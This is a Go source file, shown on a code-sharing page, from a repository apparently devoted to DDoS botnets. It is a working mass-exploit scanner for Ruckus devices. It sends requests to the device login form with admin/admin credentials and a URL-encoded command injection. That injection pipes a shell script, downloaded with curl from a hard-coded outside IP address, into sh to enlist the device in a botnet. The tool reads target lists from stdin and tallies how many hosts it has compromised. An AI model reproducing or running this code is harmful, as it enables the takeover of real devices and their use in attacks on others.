Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/Ruckus/ruckus.go
5038 views
1
package main
2
3
import (
4
"bufio"
5
"fmt"
6
"net"
7
"net/http"
8
"os"
9
"runtime"
10
"strconv"
11
"strings"
12
"sync"
13
"time"
14
)
15
16
var (
17
UrlPayload = "%24%28curl%20http%3A%2F%2F163.123.142.146%2Fruckus.sh%20%7C%20sh%29"
18
UrlPath = "/forms/doLogin?login_username=admin&password=admin"
19
20
total int
21
exploited int
22
failed int
23
24
wg sync.WaitGroup
25
)
26
27
func SetConnTimeout(conn net.Conn, timeout time.Duration) error {
28
return conn.SetDeadline(time.Now().Add(timeout))
29
}
30
31
func ExploitHost(host string) {
32
conn, err := net.Dial("tcp", host)
33
if err != nil {
34
failed++
35
return
36
}
37
38
defer conn.Close()
39
40
buf := make([]byte, 512)
41
42
fmt.Fprintf(conn, "GET %s%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Wget/1.17.1\r\n\r\n", UrlPath, UrlPayload, host)
43
44
conn.Read(buf)
45
46
if strings.Contains(string(buf), "200 OK") {
47
exploited++
48
}
49
}
50
51
func ExploitHostHttps(host string) {
52
wg.Add(1)
53
defer wg.Done()
54
55
req, err := http.Get(fmt.Sprintf("https://%s%s%s", host, UrlPath, UrlPayload))
56
if err != nil {
57
failed++
58
return
59
}
60
61
if req.StatusCode == 200 {
62
exploited++
63
}
64
}
65
66
func HandleHost(host string) {
67
total++
68
wg.Add(1)
69
defer wg.Done()
70
71
go ExploitHost(host)
72
go ExploitHostHttps(host)
73
}
74
75
func TitleWriter() {
76
i := 0
77
78
for {
79
time.Sleep(1 * time.Second)
80
i++
81
fmt.Printf("%d's total (%d) running (%d) exploited (%d) failed (%d)\r\n", i, total, runtime.NumGoroutine(), exploited, failed)
82
}
83
}
84
85
func main() {
86
routines, _ := strconv.Atoi(os.Args[2])
87
scanner := bufio.NewScanner(os.Stdin)
88
89
go TitleWriter()
90
91
for scanner.Scan() {
92
for runtime.NumGoroutine() > routines {
93
time.Sleep(1 * time.Second)
94
}
95
96
if os.Args[1] == "manual" {
97
go HandleHost(scanner.Text())
98
} else {
99
go HandleHost(scanner.Text() + ":" + os.Args[1])
100
}
101
}
102
103
for runtime.NumGoroutine() > 1000 {
104
time.Sleep(1 * time.Second)
105
}
106
}
107
108